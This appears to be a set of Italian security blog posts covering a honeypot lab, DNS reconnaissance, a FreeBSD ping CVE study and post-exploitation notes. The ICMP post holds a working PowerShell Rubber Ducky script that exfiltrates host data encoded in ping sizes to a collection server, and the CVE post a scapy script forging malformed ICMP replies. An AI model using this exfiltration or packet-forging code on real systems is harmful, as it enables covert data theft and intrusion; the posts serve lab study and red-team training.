cyber security, hacking

Honeypot: un piccolo focus tecnico e qualche esperimento

Altro argomento affascinante che vale la pena approfondire. Il mio interesse su fronte degli honeypot e’ duplice: da un lato – quello blue sono uno strumento che ritengo utile in una strategia di gestione delle minacce cyber, da un altro lato – quello red – sono una trappola da imparare a riconoscere ed aggirare.

Giusto un cenno sulle motivazioni che stanno dietro l’utilizzo di questo strumento. Di base abbiamo due ambiti:

  • Ricerca, vengono utilizzati per analizzare i comportamenti dei threat actor dai big player della cyber sec. al fine di catalogare nuove tecniche e mogliorare la detection dei prodotti di mercato
  • Produzione, vengono utilizzati dalle aziende per intercettare eventuali tentativi di compromissione anche nelle fasi iniziali

Sono entrambi contesti molto interessanti, il mio focus in questo periodo e’ il contesto di produzione e, come ho scritto in questo post, e’ indispensabile per chi approccia questo strumento aver bene in mente che si tratta di qualcosa che va gestito per renderlo utile. Gli honeypot di base espongono dei servizi pensati per attrarre l’attacker che, se ingannato, andra’ a sollecitare il sistema il quale produrra’ un notifica. Queste notifiche devono ovviamente essere trattate esattamente con un security incident, altrimenti il gioco non funziona.

E’ possibile anche spingersi oltre, ad esempio costruendo servizi che consantano all’attacker di interagire cosi’ da leggere anche i comportamenti successivi alla compromossione del sistema come l’installazione di un C2 o i tentativi di lateral movement.

Progetti open souce

Ci sono diversi progetti open source che possiamo prendere in considerazione per “giocare” o anche per mettere in produzione una soluzione custom che non necessiti di decine di honeypot. Opinione mia: se abbiamo intenzione di dotarci di questo strumento valutiamo tra le prime cose l’estensione del progetto prima di scegliere il tipo di soluzione; le soluzione open source attualmente disponibili non prevedono particolari sistemi di gestione centralizzata e sono piu’ indicate per chi dovra’ gestire un numeno non alto di items.

Qui un elenco di alcuni honeypot dai cui puo’ aver senso iniziare: https://github.com/paralax/awesome-honeypots. Nel lavoratorio che sto attrezzando ne utilizzero’ alcuni per studiarne il comportamento. Cito anche due progetti molto strutturati per chi ha esigenze, a mio parere, piu’ di ricerca che di detection:

Soluzioni di mercato

I vendor si sono ovviamente mossi anche in questa direzione e propongono per lo piu’ soluzioni che sono in grado di distribuire e gestire honeypot configurabili. E’ abbastanza evidente, alcmeno per me, che si tratta di soluzioni particolarmente calzanti per chi deve “seminare” diversi honeypot nelle proprie reti. Qui un elenco non completo di soluzioni di mercato: https://www.g2.com/categories/deception-technology.

Laboratorio di base

Giochiamo un po’ con un piccolo laboratorio costituito da una semplice VM linux che espone unicamente il servizio SSH “reale” (che non prendiamo di mira) e proviamo a dotarla di un po’ di elementi tipici di un honeypot. Il contesto del mio studio e’ l’ambiente enterprise con esigenze di detection, non la Threat Intelligence.

Come primo esperimento ho deciso di simulare un servizio molto semplice e credo abbastanza appetibile: telnet. Per diverse ragioni il servizio viene spesso preso di mira: solitamente lo si trova in uso in sistemi relativamente datati dove e’ plausibile supporre ci siano delle falle da sfruttare, se non in remoto almeno localmente.

Mi sono fatto dare una mano dalla libreria socket di Python 3. Il funzionamento di base e’ semplice: una socket aperta sulla porta TCP 23, un loop per ricevere i dati dal client e dare degli output lato server. Come primo esperimento il risultato non e’ pessimo ma ci sono dei dettagli al codice che vanno migliorati. Di base lo script simula il comportamento di una sessione telnet: presenta un banner e chiede una credenziale. Ogni tentativo di connessione e di inserimento dati viene riportato in un log. Anche una sollecitazione non prevista come una scansione registra il tentativo di accesso al servizio:

scan con flag -sT e -sS

Da notare che una SYN scan non viene rilevata in questa versione del programma: utilizzando la libreria socket per avviare un servizio in TCP la sessione viene instaurata sono al termine di tutto il processo di handshake, in questo caso non c’è nessuna sollecitazione a parte il primo SYN e di sconseguenza non c’è tracciamento alcuno.

Come accennavo uno degli obiettivi del lab è cercare di capire quanto siano riconoscibili gli honeypot. In questo caso la scansione ci da solo informazioni in relazione al fatto che la porta TCP 23 è aperta, per capire qualcosa di più dovremmo dare un’occhiata al traffico che scambiamo con il nostro target. Possiamo usare wireshark per analizzare il traffico e constatare che abbiamo davanti una vera sessione telnet o meno.

Per fare la prova da un punto di vista obiettivo dobbiamo utilizzare wireshark dalla macchina dell’attacker, in questo lab utilizzo una classico Ubuntu 22.10 server come base per l’honeypot ed una Kali Purple (la sto provando in queste settimane) per l’analisi del target. Il comportamento di nmap lo abbiamo gia’ visto: se facciamo una scansione TCP rileviamo il servizio ma ci facciamo anche individuare, passiamo ad analizzare il traffico con una connessione alla socket:

wireshark verso honeypot

La sessione e’ molto semplice, appare esattamente come una sessione TCP sulla porta 23 e dopo il three-way handshake il finto server telnet manda al client il banner di login. Vediamo ora una vera sessione telnet su un altro server linux su cui ho installato il demone:

wireshark verso telnetd

La differenza e’ abbastanza evidente, pur trattandosi di una sessione TCP sulla porta 23 il server telnetd invia diversi dati al client che risponde con altrettante informazioni. Solo alla fine di questo scambio il server invia al client il banner di login.

Ci portiamo a casa che se vogliamo costruire un servizio a media o elevata interazione il dialogo deve necessariamente rispettare il protocollo. Resta comunque vero il fatto che per smascherare la trappola tramite l’analisi del traffico bisogna farla scattare. In contesto enterprise con gli honeypot posizionati all’interno della rete potrebbe essere un NON problema in quanto qualsiasi cosa faccia scattare una trappola interna probabilmente e’ un evento degno di nota.

Un lab un pelo piu’ avanzato (anticipazione)

Usare protocolli come telnet o ssh richede di “ricostruire” la comunicazione per essere credibili. Se ci spostiamo su un protocollo come http il gioco si fa un po’ piu’ interessante. Creare un http server in python anche solo con una socket e’ molto semplice e anche la conversazione tra client e server non e’ nulla di particolarmente complesso. La versione http dell’honeypot potrebbe quindi essere molto piu’ credibile ed interessante.

Ho preparato una p-o-c per http disponibile nella stessa repo della versione telnet: https://github.com/roccosicilia/my-papers/tree/main/poc-honeypot. Nella live di questa sera parto dal server http in python per provare a costruire un servizio ad alta interazione, nella seconda parte di questo post riportero’ gli esiti.

cyber security, hacking

ICMP infostealing: il lab [prima parte]

Prima una premessa.

Sul piano operativo l’esecuzione di un attacco informatico che ha come obiettivo il furto di dati (Data Breach) diventa più efficace in proporzione alla quantità di informazioni relative al target di cui si può disporre. Alcune di queste informazioni posso essere raccolte grazie a tecniche come OSInt e Social Engeneering, altre possono essere trafugate direttamente dal target tramite delle azioni di ricognizione o attacchi meno rumorosi e progettati con il solo fine di raccogliere maggiorni informazioni sul target.

In questo contesto la possibilità di fare info stealing sul target diventa particolarmente appetibile: l’attacker potrebbe progettare azioni estremamente mirate utilizzando tecniche di data exfiltration per appropriarsi di pochi ma importanti dati da utilizzare in fasi successive dell’attacco.

Come sempre un esempio vale mille parole, ho quindi iniziato a lavorare su un lab per studiare meglio la tecnica. La sintesi di questo piccolo esperimento andrà a comporre un paper dedicato al tema.

Scenario

Partiamo da un obiettivo semplice e concreto: estrarre informazioni dall’interno della rete target avendo la possibilità di accedere fisicamente ad un dispositivo della rete ma per un tempo limitato. I vincoli sono gli stessi che avrebbe un threat actor: ammesso che gli sia possibile accedere ai locali ed arrivare in prossimità di un sistema connesso alla rete (una workstation ad esempio) probabilmente avrà a disposizione relativamente poco tempo per eseguire delle operazioni.

Uno strumento comodo per questo scenario potrebbe essere una Rubber Ducky da collegare per pochi secondo alla macchina target. In questo caso avremmo la possibilità di eseguire qualche comando, limitatamente al tempo a disposizione, per inviarci un po’ di informazioni.

Ovviamente le informazioni dobbiamo mandarle verso un sistema che siamo in grado di governare. In base al metodo di invio delle informazioni dovremo quindi predisporre un server che riceva i dati e ci permetta di visualizzare quanto raccolto.

ipotesi di scenario

Per il nostro lab. ho scelto come “canale” ICMP. E’ una spece di sfida personale: in condizioni operative (parliamo quindi di Red Teaming o attività relative a Pen Testing) utilizzo canali un po’ più usabili ma mi sono sempre chiesto fino a quanto potevo spingermi con ICMP. Il nostro server dovrà quindi ricevere pacchetti ICMP e per l’occasione utillizzerò il collaudatissimo scapy. Avremo quindi un piccolo python script che riceverà le sequenze ICMP e ricomporrà il messaggio.

La parte della costruzione del messaggio e della sua ricomposizione è l’unica che presenta una reale complessità (se così si può dire) in quanto va aggirato il fatto che il comando PING in ambienti Microsoft non consente di inserire un messaggio o un testo nel payload. L’unica variazione che possiamo permetterci è la dimensione del buffer.

L’idea è quindi quella di far corrispondere ad ogni carattere dell’output del comando un valore decimale che rappresenti il corrispettivo “DECIMALE” del carattere. Quindi il messaggio “AAAA” dovrà produrre quattro ping con dimensione del buffer 65 byte. Lo script che riceve i quattro ping dovrà prendere la seguenza di byte e ricomporla a formare il messaggio.

Aggiungiamo un po’ di complessità: non mi piace particolarmente mandare il messaggio completamente in chiaro. Potrebbe essere relativamente semplice da “leggere”. Prima di inviarlo eseguiamo un encode in base64 e di conseguenza inviaremo i caratteri della stringa dopo l’encode. Per una demo va più che bene, in un contesto reale potremmo valutare una vera e propria cifratura, il convetto di base è lo stesso.

Demo

Il codice della p-o-c è disponibile nella mia repo e fa parte delle dimostrazioni in ambito C2. L’ho chiamata ping.pong: https://github.com/roccosicilia/my-papers/tree/main/poc-c2/ping.pong.

La demo di compone essenzialmente di due script:

  • pingpong.py è il server ICMP che cattura (usa effetticamente la chiamata sniff) i pacchetti ICMP in ingresso e salva lo stream del messaggio in un file txt
  • readpong.py è uno script che ho voluto tenere separato ricomporre il messaggio in arrivo e presentarlo in modo leggibile

A questi due script si aggiungono i comandi per la Rubber Ducky. Qui spazio alla fantasia, vi lascio comunque una possibile sequenza in formato ps1:

# target host
$ip = "192.168.1.2"
# data to exfil
$MYDATA = $("hostname")

# encode
$base64String = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($MYDATA))
Write-Output $base64String

# reset ping
ping -l 1 -n 1 $ip

# send message by ping
for ($i=0; $i -le $base64String.Length; $i++)
{
    $x = [int[]][char[]]$base64String[$i]
    ping -l $x -n 1 $ip
    Start-Sleep -Milliseconds 500
}

Un piccolo video dimostrativo:


L’argomento, nonostante sia tecnicamente semplice, ha richiesto un po’ di studio e test che ho in parte fatto live sul canale Twitch. Sto preparando una sintesi delle sessioni live e questa sera (27 aprile 2023) ci sarà una nuova sessione dedicata ai progressi ottenuti ed a qualche nuovo test.

cyber security, hacking

Prendetevi cura della vostra zona DNS

Per vari motivi sto riprendendo in mano varie tecniche di “ricognizione” nei confronti di un potenziale target ed è sorprendente quante informazioni vengano lasciate a disposizione di chiunque per banale mancanza di manutenzione.

Oggi è stato il turno delle zone DNS, elemento interessante per un’attacker in quanto avere a disposizione un elenco di domain e subdomain rappresenta un ottimo punto di partenza per comprendere parte del perimetro del target.

Facciamo una prova? Da una kali potete utilizzare uno dei tanti tools di enumeration:

-- amass enum -passive -d roccosicilia.com

Otterrete l’elenco di ciò che è configurato a livello di zona per il dominio indicato. Il mio dominio ha ovviamente poco essendo utilizzato esclusivamente per questo blog, ma se fate la prova sul vostro dominio corporate sono abbastanza certo che il risultato sarà più interessante.

Possono sembrare informazioni assolutamente innocenti, dopo tutto questi record sono stati creati appositamente per essere utilizzabili dagli utenti che desiderano accedere ad un sistema. Il problema infatti non si riferisce a ciò che è in uso dall’organizzazione ma a ciò che è in uso solo internamente o non più utilizzato e dimenticato.

Non è raro trovare subdomain che si riferiscono a sistemi di test – spesso dimenticati – o a sistemi in una fase di staging che espongono elementi di debugging dell’applicazione (trovati tantissimi in queste condizioni). Arricchendo un po’ il risultato si possono ottenere informazioni aggiuntive sui provider in uso per i vari domini così da mappare qualche fornitore o collaboratore. Aggregando un po’ di dati pubblici il risultato diventa parecchio interessante.

un mio test di aggregazione dati (script sul mio GitHub)

Un altro elemento da non sottovalutare è la tendenza, non diffusissima, a dare un nome dominio pubblico ad asset infrastrutturali come alcuni elementi di perimetro: il firewall, i router del provider o i proprio BGP router. Sono elementi che un attacker potrebbe individuare in molti modi più o meno complessi, se gli viene assegnato un record DNS ovviamente è un po’ più facile.

La pratica di per se non è una cattiva idea, personalmente la trovo utile dal punto di vista della gestione IT ma potrebbe essere fatto su un nome dominio “di servizio” così da evitare di rendere questi asset immediatamente individuabili. Lo stesso principio vale per i sistemi non in esercizio: perché pubblicare le informazioni sulla zona dove ci sono i record dei servizi attivi quando possiamo parcheggiarli in una zona di servizio sconosciuta. Ovviamente questo accorgimento non renderà questi host invisibili, sarà però necessaria qualche azione in più per identificarli ed associarli al perimetro del target.

Nella mia repo GitHub ho messo a disposizione uno script che sto sistemando per aggregare dati provenienti da diverse fonti pubbliche, utile per chi lavora in ambito Penetration Testing e Red Teaming ma altrettanto utile per chi vuole farsi un veloce self-check: https://github.com/roccosicilia/my-papers/blob/main/poc-recon/SubDomainDiscovery.py. Lo script è in continua evoluzione quindi occhio alle note in cima.

Qualche suggerimento per ridurre il perimetro osservabile:

  • banalmente pulite i record non più in uso, il DNS è un asset e va gestito come qualsiasi altro asset dell’organizzazione;
  • utilizzate zone di servizio per scopi infrastrutturali;
  • valutate cosa potete mettere dietro ad un proxy o ad un WAF in cloud;

Il principio è quello del tenere visibile solo lo stretto necessario evitando di regalare qualche appiglio a chi utilizzerebbe queste informazioni per affinare una strategia di attacco.

cyber security, hacking

Studio della vuln. CVE-2022-23093 [seconda parte]

Come promesso torno sulla CVE con gli esiti dei test che ho fatto: mi ero ripromesso di dedicarci una paio di sessioni e così ho fatto.

Rimanendo praticamente sullo stesso “impianto” di laboratorio presentato nella prima parte ho fatto diverse prove di formattazione di una risposta ICMP il cui contenuto fosse modificato. In particolare ho mantenuto la linea della risposta “Destination Unreachable” inizialmente modificando il payload nella risposta e successivamente formattando una risposta “pulita” ma inserendo nel messaggio di origine un contenuto arbitrario (la solita stringa “AAAA…”).

Per l’invio del ping “modificato” ho utilizzato il seguente comando:

-- ping -c 1 -s 1016 -p "41414141" 1.3.3.7

Non ho ottenuto particolari risultati con scapy ne con l’opzione -p di ping: la risposta veniva correttamente inviata alla macchina FreeBSD e la funzione pr_pack() veniva effettivamente chiamata, ma non sono riuscito ad ottenere comportamenti anomali.

debugging di ping.c

A differenza di quanto ottenuto in un altri contesti (rif. al mio precedente post) la dimensione di hlen in questo scenario resta di 20 bytes. Evidentemente, nonostante l’errore generato mi sembri corretto, non si verificano le condizioni per cui il programma va a ricostruire il pacchetto utilizzando i dati “raw” del pacchetto che ha generato l’errore.

Nel frattempo mi sono ricordato di un check che avrei duvoto fare all’inizio del test: ho appurato che di default ping.c viene compilato con le opzioni di protezione dello stack attive, ne possiamo desumere che la sfruttabilità dell’overflow è quindi molto bassa.

verifica della presenza della protezione dello stack

Una ultima prova che potrebbe aver senso fare (lo ho scritto poco fa anche sul canale telegram) è tentare un fuzzing con scapy, ovviamente dopo aver ricompilato ping.c con le protezioni dello stack disabilitate.

Io mi fermo qui 😉

hacking

Studio della vuln. CVE-2022-23093 [prima parte]

Qualche giorno fa, durante una live, mi e’ stata ricordata la CVE in oggetto che interessa i sistemi FreeBSD e su cui avevo un po’ riflettuto a livello di potenziale offensivo. La CVE mi era tornata alla mente anche a seguito di una recente vulnerabilita’ che ha interessato l’implementazione di ICMP sui sistemi Microsoft (CVE-2023-23415). Le due vulnerabilita’ sono molto diverse tra loro: lato FreeBSD e’ l’utility “ping” a presentare la falla mentre lato Windows il problema sembra essere relativo ad una funzione della componente ICMP. Mi e’ venuta voglia di approfondire per capire meglio di cosa si tratta: analizzare e studiare le CVE e’, a mio parere, un ottimo esercizio in ambito cyber sec. E poi come resistere al fascino di uno stack overflow 🙂

Al di la della tipologia di vulnerabilita’, di per se interessante, vi e’ un altro elemento piu’ strategico che interessa il bug: FreeBSD, pur avendo un livello di diffusione non elevato, e’ alla base di molte appliance di vario tipo tra cui Firewall e Storage System come il mitico NetApp. Questo rende la vulnerabilita’ ancora piu’ interessante.

Preparazione del lab

Prima cosa da fare e’ documentarsi per valutare come riprodurre un ambiente vulnerabile su cui eseguire i test. L’advisory di FreeBSD stessa espone le versioni a cui a novembre e’ stata applicata la patch:

  • 2022-11-29 stable/13, 13.1-STABLE)
  • 2022-11-29 releng/13.1, 13.1-RELEASE-p5)
  • 2022-11-29 stable/12, 12.4-STABLE)
  • 2022-11-29 releng/12.4, 12.4-RC2-p2)
  • 2022-11-29 releng/12.3, 12.3-RELEASE-p10)

Un primo test lo ho condotto su una FreeBSD 11.4 con ultimo aggiornamento (della ISO) il 12 giugno 2020, teoricamente e’ quindi presente la vulnerabilita’. Purtroppo ho riscontrato diversi fastidi dovuti all’assenza delle repository. Versione troppo datata.

Ho ripiegato sulla release 12.2. In questo periodo il mio home-lab e’ un po’ sottosopra a causa di vari cambi di architettura, ad ogni modo ho preparato una VM amd64 su una installazione di Oracle VirtualBox.

Trovate le ISO qui: http://ftp-archive.freebsd.org/pub/FreeBSD-Archive/old-releases/amd64/.

installazione di freebsd

Una volta installata la macchina mi sono limitato a configurare l’accesso SSH per root ed installare il debugger gdb.

Avere a disposizione la macchina ci consente inoltre di scaricare i sorgenti dell’utility che presenta la vulnerabilita’: possiamo scaricarci integralmente la repository della distibuzione.

root@freebsd-12:~ # svnlite checkout https://svn.freebsd.org/base/releng/12.2 /usr/src

Una volta ottenuto il sorgente possiamo verificare nel path /usr/src/sbin/ping/ la presenza dei sorgenti di notro interesse:

ping.c

Ora che abbiamo la nostra base possiamo dedicarci un po’ allo studio della vulnerabilita’ partendo dalla documentazione a disposizione e da quanto reperibile in rete.

Raccolta delle informazione

L’advisory in oggetto e’ stata pubblicato il 29 novembre 2022, quindi quattro mesi fa rispetto alla pubblicazione di questo post. Nell’analisi partiamo proprio da questo documento disponibile qui: https://www.freebsd.org/security/advisories/FreeBSD-SA-22:15.ping.asc.

Al punto II troviamo la descrizione dell’errore che provo qui a sintetizzare. Il programma ping riceve e legge i pacchetti per elaborare la risposta tramite la funzione pr_pack(). Per eseguire questa elaborazione viene ricostruito il dato utilizzando l’IP header, l’ICMP header e, in caso di ICMP error, il QUOTED PACKET che ha generato l’errore. Visto che abbiamo a disposizione il sorgente del programma ping.c possiamo dare un occhio alla funzione per capire meglio di cosa si tratta.

La funzione la si puo’ trovare alla linea 1118 del sorgente di ping.c (sempre con riferimento alla versione 12.2 di FreeBSD) e da qui possiamo iniziare ad analizzare il comportamento del codice.

Partiamo dalle variabili che arrivano alla funzione:

pr_pack(char *buf, ssize_t cc, struct sockaddr_in *from, struct timespec *tv)

dove troviamo:

  • il buffer buf che contiene il pacchetto IP ricevuto in rispota dal comando ping
  • la lunghessa cc del pacchetto
  • l’indirizzo IP from della macchina che ha inviato il pacchetto
  • il tempo tv di arrivo del pacchetto

Subito dopo la dichiarazione delle variabili della funzione troviamo una porzione di codice che la patch va a modificare in parte:

1140         memcpy(&l, buf, sizeof(l));
1141         hlen = (l & 0x0f) << 2;
1142         memcpy(&ip, buf, hlen);

In parole povere il contenuto di buf, contenente il pacchetto IP ricevuto in risposta dal comando ping, viene copiato nella variabile l, viene poi calcolata la lunghezza hlen dell’IP header e quindi copiati hlen byte di buf nella variabile IP.

Come si vede meglio dalle modifiche della patch rilasciata il problema si annida proprio in questa ultima memcpy: se il contenuto del pacchetto IP in risposta fosse opportunamente modificato e’ teoricamente possibile utilizzare la lunghezza dei dati inseriti in buf per ottenere un overflow. L’attacker dovrebbe prima intercettare le richiesta ICPM (un ping dalla macchina target) e rispondere con un errore opportunamente modificato. Non impossibile ma decisamente non semplice.

Ho trovato molto utile quanto riportato in post di archcloudlabs.com dove viene proposto di modificare, utilizzando un debuger, il contenuto delle variabili per ottenere “artificialmente” l’overflow del buffer. Ho trovato il test molto interessante e utile da replicare.

Predisposizione debug del comportamento della funzione

Per poter eseguire il debug del nostro binary dobbiamo necessariamente ricompilare l’eseguibile con gli opportuni flag e anvendo i sorgenti a disposizione non si tratta di una operazione complessa.

opzione -g aggiunta nel MakeFile di ping.c

Se tutto in ordine con due comandi facili (make, make install) dovremmo ottenere in nostro nuovo binary di ping.

Il passo successivo e’ fare in modo di ottenere una risposta da noi gestibile, nel post citato precedentemente si fa riferimento ad uno script in scapy ed e’ proprio quello che avrei fatto anche io, ne abbiamo parlato priprio nella live del 31 marzo… scapy mi piace sempre di piu’.

Qui la prima versione dello script che si occupa di intercettare il pacchetto ICMP e rispondere con un pacchetto da noi opportunamente generato:

#!/usr/bin/env python
from scapy.all import *

def reply_ping(packet):
    if packet.haslayer(ICMP) and packet[ICMP].type == 8:
        eth = packet[Ether]
        ip = packet[IP]
        icmp = packet[ICMP]

        payload = [
		b'\x86\x28',
		b'\x41'*20
	]
        payload = b''.join(payload)


        reply = Ether(src=eth.dst, dst=eth.src)/IP(src=ip.dst, dst=ip.src, ihl=6, options=IPOption(payload))/ICMP(type=3, code=0)/icmp[ICMP].payload
        sendp(reply, iface='eth0')

        print('Invio risposta ICMP ping')

sniff(filter="icmp and icmp[icmptype] == icmp-echo", prn=reply_ping)

Dovrei in questo modo ottenere una risposta type=3 (Destination Unreachable) con la possibilita’ di manipolare il contenuto di IPOption, ovvero la parte di dati che, a quanto ho compreso dal codice di ping.c a dall’advisory, dovrebbe essere passata al buffer che presenta la vulnerabilita’.

Per garantirci una buona visibilita’ su cio’ che sta accadendo e’ comodo predisporre lo script su una macchina dove possiamo disporre anche di Wireshark. Nel mio lab ho utilizzato come macchina di destinazione una semplice kali che simulera’ la macchina dell’attacker in questo contesto.

lo script in ascolto

Lato Wireshark e’ sufficiente filtrare i pacchetti ICMP in arrivo sulla NIC della macchina, visto che saremo solo noi ad eseguire dei ping verso il sistema non avremo problemi ad identificare i pacchetti di nostro interesse.

Rispetto ad un normale ping quello che dobbiamo ottenere e’ una risposta che contenga il nostro payload. Il primo esperimento, tutto da perfezionare, ha ottenuto quanto segue:

cattura del pacchetto modificato

Il payload e’ presente nel pacchetto ma evidentemente la risposta richiede qualche ritocco. Nei prossimi giorni lavorero’ in modo specifico sulla rispsta dalla richiesta ICMP ed al debug del codice di ping.c ricompilato cosi’ da verificare anche cosa avviene a livello di sistema.

La live sul mio canale Twitch di venerdi’ 7 aprile riprende questo piccola lab e si procede con le analisi della vulnerabilita’. Nel prossimo post riportero’ le evoluzioni.

cyber security, hacking

Codice “home made”

Molte figure con un background tecnico-informatico si dedicano alla scrittura di software per moltissimi motivi: dal puro piacere personale di costruirsi qualcosa di utile, anche solo per esigenze personali, fino ad arrivare ad esigenze operative o aziendali gestibili con un software custom. Personalmente ho scritto “molto” codice per automatizzare o velocizzare alcuni processi operativi ed analitici, anche in ambito Red Team è molto utile avere il proprio “arsenale” di tools custom. E’ qualcosa di abbastanza diffuso nel mondo IT: ci sono aziende che si sono scritte il proprio gestionale, che automatizzano processi tramite script fatti dagli addetti ai lavori, team che creano software per consentire a clienti e fornitori di interfacciarsi con processi aziendali. Tutto questo in molti casi (non tutti ma molti) viene fatto senza un metodo di sviluppo adeguato e senza una particolare attenzione alla sicurezza del codice. Il problema parte dalle fondamenta: chi scrive molto di questo codice non ha nozioni di sviluppo di codice sicuro.

un mio blocco di codice a caso

Non ho le competenze specifiche per parlarvi di codice sicuro, faccio un altro mestiere, posso però raccontarvi cosa succede quando introducete codice “home made” in un contesto aziendale. I software sono asset della vostra infrastruttura a prescindere da chi li ha prodotti, che si tratti del nuovo CRM o dello script che vi notifica l’esito dei backup giornalieri il contesto è quello di un software attivo all’interno della rete, accessibile almeno ad una parte dell’utenza, che genera interazioni con altri sistemi.

Esattamente come tutti gli altri asset anche il software prodotto internamente va gestito nel tempo, nel suo ciclo di vita. Potrebbe essere necessario correggere dei bug funzionali, aggiornare delle componenti di terze parti (vedi il concetto di Software Bill of Materials che Paolo Perego accennava qui), aggiornare le componenti core del software stesso. Quando adottiamo un prodotto software solitamente non ci preoccupiamo della qualità del software in modo diretto, ci si affida alla qualità del brand/partner che abbiamo selezionato. Uno dei parametri che probabilmente valuteremo è la frequenza con cui vengono rilasciate delle patch e la reattività del team di sviluppo in caso sia necessario correggere una vulnerabilità.

Abbiamo tutti imparato a limitare/eliminare l’utilizzo di software che presenta delle vulnerabilità, sappiamo che esistono vulnerabilità che consentono di manomettere il funzionamento dell’applicazione, possono consentire l’accesso a dati riservati e, in casi estremi, possono consentire l’accesso al sistema su cui è attivo il software vulnerabile. Questi rischi esistono nel software “enterprise” tanto quanto esistono nel software “home made”, con la differenza che di solito il software disponibile sul mercato (o prodotto dalla community) transita da processi di controllo, è sottoposto a più tipologie di test sulla sicurezza ed esiste un team che ne corregge, in modo strutturato, i bug.

Ora il concetto è abbastanza semplice: nonostante i team di sviluppo composti da professionisti, i controlli integrati nel processo di sviluppo ed i test di sicurezza capita di rilasciare software che presenti delle vulnerabilità. Cosa ci fa pensare che noi, all’interno del nostro team IT/DEV, non commetteremo errori?

Il punto di vista dell’attacker

In una sessione di attacco simulato, trovare qualcosa di “home made” potrebbe essere un ottimo punto di partenza per ottenere il controllo di un host sfruttando vulnerabilità abbastanza classiche. Ovviamente non è possibile generalizzare ma ci sono degli elementi facili da indagare che potrebbero restituire all’attacker l’appiglio per compromettere la macchina che ospita l’applicazione vulnerabile.

Considerando solo la mia esperienza diretta (e chissà quante ne potreste raccontare voi) mi potrei aspettare di trovare qualche vulnerabilità a livello di gestione dell’upload di contenuti (https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload) con la conseguenza di poter portare sul sistema target un file malevolo sa eseguire successivamente tramite una chiamata http/https.

Altro grande classico, soprattutto in contesti dove sono presenti piccole integrazioni a livello di sistema, la possibilità di eseguire comandi sulla macchina remota tramite injection (https://owasp.org/www-community/attacks/Command_Injection). Spesso alcuni script di integrazione utilizzano chiamate al sistema operativo locale a cui passano delle stringe di comandi da eseguire direttamente in “shell”. Altra grande opportunità per prendere possesso della macchina che ospita applicazioni di questo tipo.

In questi casi diventa relativamente semplice per un attacker sfruttare vulnerabilità anche molto gravi ma spesso non sottoposte a nessuna verifica di merito: essendo il software autoprodotto difficilmente ci sarà un processo di update della piattaforma o una verifica periodica delle nuove vulnerabilità. Eppure sarebbe abbastanza ovvio: come siamo abituati a chiedere il vulnerability assessment dei sistemi potremmo farso anche per il software prodotto internamente.

Qualche risorsa

In relazione allo sviluppo di codice sicuro forse una delle risorse più note è la documentazione OWASP (https://owasp.org/), utilissima soprattutto per comprendere anche le varie tipologie di vulnerabilità di cui il nostro codice potrebbe essere afflitto.

Un bell’articolo introduttivo al tema che mi ero segnato è questo: https://martinfowler.com/articles/web-security-basics.html. Ottimo per chi vuole iniziare a capirci qualcosa.

Ci sono poi una tonnellata di libri specifici per i differenti linguaggi, non li ho letti quindi non mi permetto di dare consigli. Per segnalare qualche risorsa a noi geograficamente vicina, oltre a già citato canale e blog di Paolo, a settembre, in occasione dell’edizione 2023 di RomHack, ci saranno dei corsi tematici tra cui una sessione interamente dedicata alla sicurezza del codice: https://romhack.io/training/code-review/.

cyber security, hacking

Post-exploitation: appunti tattici e qualche riflessione

Premetto che sto sistemando un po’ di appunti e materiale in relazione alle attività immediatamente successive all’acquisizione di un primo accesso ad un sistema target (a prescindere dal modo in cui è stato ottenuto) in un contesto di simulazione di attacco.

Sto lavorando su due fronti: il primo prettamente ludico relativo alle mie “play session” in live dove sto giocando su una vecchia macchina (breakout di vulnhub), il secondo operativo in relazione ad azioni su infrastrutture presidiate. C’è un elemento che ricorre in entrambi i contesti anche se per motivi differenti: per vincoli del sistema o per la presenza di specifici controlli non sempre è possibile dotare la macchina target di “strumenti” aggiuntivi, bisogna necessariamente arrangiarsi con ciò che si ha sul sistema vittima. In molti corsi e laboratori a tema cyber sec. si fa pesante uso di strumenti che, se utilizzati in contesti reali, vedremmo il team IT di qualsiasi organizzazione mediamente strutturata farsi una grassa risata.

Gli attacker utilizzano spesso tecniche appositamente studiate per non essere identificati facilmente ed una di queste è proprio utilizzare ciò che il sistema colpito mette a disposizione: se la macchina dove è stato guadagnato il primo accesso è un webserver con php o python è molto probabile che l’attacker utilizzi questi strumenti per portare a bordo del sistema scripts specifici o eseguire comandi diretti.

Considerazioni lato Red Team

Provo a semplificare il mondo. Diciamo che ci sono quattro principali tipologie di oggetti su cui si potrebbe approdare:

  • un ambiente con O.S. Microsoft Windows
  • un ambiente con O.S. *nix
  • una network appliance
  • un device con O.S. {booo} che eroga servizi aspecifici (una stampante, una Smart TV, ecc)

Ovviamente non sono gli unici elementi ma questo elenco copre una vasta percentuale di sistemi in una rete IT. Va anche detto che una buona azione di ricognizione potrebbe migliorare molto la precisione di questa lista ed in alcuni casi si riescono ad ottenere informazioni di dettaglio su sistemi e software in uso, ma per lo scopo del post ci basta questo.

Continuando con le considerazioni puramente speculative possiamo dire che gli ambienti con O.S. Windows e Unix/Linux mettono a disposizione un set di software e utility molto più ampio rispetto alle appliance, fanno eccezione solo quei device interamente basati su una qualche distribuzione Linux e quindi ricche di utility (come alcune tipologie di NAS o network device SOHO). Qualsiasi sia lo scenario le azioni che cronologicamente un attacker – e quindi anche il Red Team – vorrebbe compiere sono:

  • garantirsi un’accesso permanente al sistema sul quale è stata “guadagnata la posizione”
  • raccogliere informazioni sul sistema e sull’ambiente circostante
  • iniziare ad esplorare l’ambiente circostante a caccia di informazioni o per raggiungere altri sistemi interessanti (lateral movement per gli amici)

Per mia esperienza (e come sempre sarei felice di ricevere anche altri pareri) il buon proseguimento dell’azione offensiva dipende molto dal livello di dettaglio che si riesce ad ottenere dell’infrastruttura attaccata. Se in Red Team acquisisce molte informazioni sostanziali potrà valutare meglio come muoversi all’interno della rete. Ad esempio prima di attivare un C2 sarà opportuno valutare che tipologia di canali potrebbero passare inosservati.

E’ un tema già affrontato su queste pagine quando ho parlato di OSInt: meglio conosco il mio target e più efficace sarà l’azione offensiva. La differenza, non da poco, sta nel fatto di essere già all’interno di uno dei sistemi, contesto che permette di ottenere molte informazioni ed una posizione privilegiata per sfruttarle.

